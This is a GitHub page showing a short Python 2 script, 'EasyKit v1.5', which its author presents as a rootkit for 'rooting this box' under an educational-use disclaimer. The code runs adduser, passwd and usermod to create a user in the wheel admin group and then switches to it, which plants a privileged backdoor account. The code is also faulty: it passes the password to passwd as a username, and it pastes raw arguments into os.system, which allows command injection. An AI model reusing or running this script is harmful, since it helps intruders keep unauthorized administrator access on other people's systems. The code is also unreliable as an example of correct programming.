-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathEasyKit-v1.5.py
More file actions
65 lines (51 loc) · 2.72 KB
/
EasyKit-v1.5.py
File metadata and controls
65 lines (51 loc) · 2.72 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/python
# - - - - - - - - - - - - - - - - - - - - - - #
# Welcome to EasyKit v1.5 developed in Python #
# I do not take responsibility for your actions #
# with EasyKit. This code is/was meant for #
# educational/researchive purposes only. #
# Developer: Chris Poole | @codingplanets #
# - - - - - - - - - - - - - - - - - - - - - - #
# Usages: #
# 1) Save as 'EasyKit.py #
# 2) chmod EasyKit.py 777 #
# 3) python EasyKit.py #
# - - - - - - - - - - - - - - - - - - - - - - #
# Execution: #
# python EasyKit.py <username> <password> #
# - - - - - - - - - - - - - - - - - - - - - - #
# Example: #
# python EasyKit.py toor pa55word #
# - - - - - - - - - - - - - - - - - - - - - - #
import os, sys
if len(sys.argv) < 2:
sys.exit("\033[37mUsage: python "+sys.argv[0]+" <username> <password>")
print '''
| - - - - - - - - - - - - - - - - - - - - - - - - - |
| ______ _ ___ _ |
| | ____| | |/ (_) | |
| | |__ __ _ ___ _ _| | / _| |_ |
| | __| / _| / __| | | | < | | __| |
| | |___| (_| \__ \ |_| | | \| | |_ |
| |______\__|_|___/\___ |_|\_\_|\__| |
| __/ | |
| |___/ |
| - - - - - - - - - - - - - - - - - - - - - - - - - |
| Easykit is a rootkit developed in shell/python |
| I do not take responsibility for any |
| actions committed with EasyKit |
| - - - - - - - - - - - - - - - - - - - - - - - - - |
| - - - - - - - - - - - - - - - - - - - - - - - - - |
| - - - - - - - - - - - - - - - - - - - - - - - - - |
| Developer: |
| - - - - - - - - - - - - - - - - - - - - - - - - - |
| Chris Poole | @codingplanets |
| - - - - - - - - - - - - - - - - - - - - - - - - - |
'''
raw_input("[!] Please press enter if you confirm in rooting this box...")
username = sys.argv[1]
password = str(sys.argv[2])
os.system('adduser '+ sys.argv[1] +'')
os.system('passwd '+ sys.argv[2] +'')
os.system('usermod -aG wheel ' + sys.argv[1] + '')
os.system('su - ' + sys.argv[1] + '')